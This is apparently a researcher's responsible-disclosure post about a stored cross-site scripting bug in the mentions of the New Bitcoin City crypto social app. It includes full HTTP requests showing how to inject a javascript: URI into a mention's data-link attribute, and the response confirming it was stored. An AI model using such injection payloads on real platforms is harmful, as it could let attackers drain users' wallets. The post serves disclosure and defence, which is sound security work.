New Bitcoin City Stored Cross-Site Scripting (XSS) in Mentions
Another stored XSS vulnerability in NBC that could result in draining user wallets, performing unauthorised transactions with the possibility to spread across the whole platform.
Introduction
You may refer to my first post about a XSS in NBC if you know what is it all about. Currently that SoFi app is ranked #2 according to DefiLlama and has a TVL of around $2.55m:
Bug description
New Bitcoin City developers ship new features at a very high pace, it is hard to keep up. During my tests of the app I have discovered and reported multiple issues, but so far no second hit on a XSS. That is until I made this request:
GET /api/v1/chat-group/messages-from-time?limit=50&roomId=653b5c07a0772e2adf493485 HTTP/2
Host: dgames.gg
Accept: application/json, text/plain, */*
Authorization: Bearer <REDACTED>
Sec-Fetch-Site: cross-site
Accept-Language: pl-PL,pl;q=0.9
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: cors
Origin: https://newbitcoincity.com
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1
Referer: https://newbitcoincity.com/
Sec-Fetch-Dest: empty
and the (partial) response:
[...]
{"mediaUrls":[],"mentions":[],"id":"653fbba800cf01a6b05ca1eb","roomId":"653b5c07a0772e2adf493485","from":"0xa54faa2c60bb67ef9724d22efffcfdbdfbd7eb7c","type":0,"content":"{\"type\":\"TEXT\",\"plain\":\"I think 20-30% \",\"rawText\":\"<p>I think 20-30% </p>\"}","parentId":"653f9ba30990b0319699de02","language":"en","contentEn":"","contentCn":"","contentTw":"","contentJp":"","fromToken":"0x89adf12711c385ab3e8118b45516fff289de3e13","createdAt":"2023-10-30T14:20:24Z","updatedAt":"2023-10-30T14:20:24Z"},
[...]
{"mediaUrls":[],"mentions":["0xa54faa2c60bb67ef9724d22efffcfdbdfbd7eb7c"],"id":"653f988100cf01a6b05c9a1b","roomId":"653b5c07a0772e2adf493485","from":"0xeeafa3854be259d43a448c140a4318bb96b80e18","type":0,"content":"{\"type\":\"TEXT\",\"plain\":\"@0xmikk.eth \",\"rawText\":\"<p><span class=\\\"mention\\\" data-index=\\\"0\\\" data-denotation-char=\\\"@\\\" data-id=\\\"0xa54FAa2c60bb67eF9724d22EFFfCFdbDFBD7eb7C\\\" data-value=\\\"0xmikk.eth\\\" data-link=\\\"/alpha/profile/0xa54FAa2c60bb67eF9724d22EFFfCFdbDFBD7eb7C\\\"><span contenteditable=\\\"false\\\">@0xmikk.eth</span></span> </p>\"}","parentId":"","language":"en","contentEn":"","contentCn":"","contentTw":"","contentJp":"","fromToken":"0xe7b289510aa564e315d0890ac319efb73144b996","createdAt":"2023-10-30T11:50:25Z","updatedAt":"2023-10-30T11:50:25Z"},
[...]
Interesting part was marked in bold. This is a request response pair when users enters a circle (group chat) and all messages are returned. First part of the response is a regular messages, and the second one is a mention. Mentions are the same like on Twitter (X) or other social media when you want to tag someone in a post / message. As can be seen, when you mention someone e.g. @h0wlu quite a lot of HTML content is generated.
The SPAN element has multiple attributes, but one in specific - data-link should immediately get our attention. It is a relative URL directing to the mentioned user profiles in the form of
/alpha/profile/<wallet_address>
Let’s see what happens if we craft such a message with the profile link change to javascript URI:
javascript:alert(document.domain)
We end up with the following request:
POST /api/v1/chat/add-message HTTP/2
Host: dgames.gg
Content-Type: application/json
Accept: application/json, text/plain, */*
Authorization: Bearer <REDACTED>
Sec-Fetch-Site: cross-site
Accept-Language: pl-PL,pl;q=0.9
Accept-Encoding: gzip, deflate, br
Sec-Fetch-Mode: cors
Origin: https://newbitcoincity.com
Content-Length: 399
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 17_0_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0.1 Mobile/15E148 Safari/604.1
Referer: https://newbitcoincity.com/
Sec-Fetch-Dest: empty
{"roomId":"65183676b6f42837e0a15fdf","content":"{\"type\":\"TEXT\",\"plain\":\"XSS test 2 \",\"rawText\":\"<p><span class=\\\"mention\\\" data-index=\\\"0\\\" data-denotation-char=\\\"@\\\" data-id=\\\"asdf\\\" data-value=\\\"h0wlu\\\" data-link=\\\"javascript:alert(document.domain)\\\"><span contenteditable=\\\"false\\\">XSS test 2</span></span> </p>\"}","mediaUrls":[],"mentions":[]}
And the response:
HTTP/2 201 Created
Date: Mon, 30 Oct 2023 17:54:31 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 600
X-Powered-By: Express
Etag: W/"258-JHwk0RXS+R2BxjHUU/y/ll6O5WE"
Cf-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=AWJe1jsmjssc61TrKWtrTPNTe7x95h96dnRhfl93m7oJhmikVduvFhROLjgvxejt3C%2FbjiwkSoPmUGWR0ZjR6R45wU0qCmPgSZ9H64L%2BFKNWmvdpz9ARoF0oQA%3D%3D"}],"group":"cf-nel","max_age":604800}
Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Access-Control-Allow-Origin: *
Server: cloudflare
Cf-Ray: 81e586213e68fc5b-WAW
{"data":{"message":{"mediaUrls":[],"id":"653fedd700cf01a6b05cb015","roomId":"65183676b6f42837e0a15fdf","from":"0x571124e987f9f6318d24b3be70260079ea741395","content":"{\"type\":\"TEXT\",\"plain\":\"XSS test 2 \",\"rawText\":\"<p><span class=\\\"mention\\\" data-index=\\\"0\\\" data-denotation-char=\\\"@\\\" data-id=\\\"asdf\\\" data-value=\\\"h0wlu\\\" data-link=\\\"javascript:alert(document.domain)\\\"><span contenteditable=\\\"false\\\">XSS test 2</span></span> </p>\"}","parentId":"","fromToken":"","createdAt":"2023-10-30T17:54:31Z","updatedAt":"2023-10-30T17:54:31Z"}},"status":1}
We can see the payload has not been stripped or blocked and the message was sent. In the chat it will look like below:
Please note that this PoC was sent to one of the NBC team as a private message and was not posted in the group chat nor the public feed for obvious reasons.
Once a unsuspecting user clicks such a link which can look like a regular mention, the payload executes:
The issue is also present on the web version of the application at https://pro.newbitcoincity.com
Attack scenario
The attack scenario and the risks are basically identical to the one described in my previous post except here one more step is required as the victim needs to click a link, which is something to be expected in a social media media app. Long story short once the user clicks a malicious link he can lose all his funds and spread the payload further resulting in more users losing money.
Timeline
30 Oct 2023 - Vulnerability identified and immediately reported to the New Bitcoin City team
31 Oct 2023 - NBC confirmed the issue and disabled mentions temporarily
31 Oct 2023 - Later the same day a proper fix was deployed
Conclusion
New Bitcoin City is currently the fastest developing SocialFi platform on the market. New features are shipped daily and are tested by the users on a live system with over $2m funds in the sysytem (at its peak it was over $3m). Vulnerabilities such as this one are critical as user funds are at risk. I would strongly recommend the team to perform security testing on the dev environment before shipping any major changes and maybe slow down a bit with releasing new functionalities. Starting a bug bounty program like what Friend.tech also would not hurt.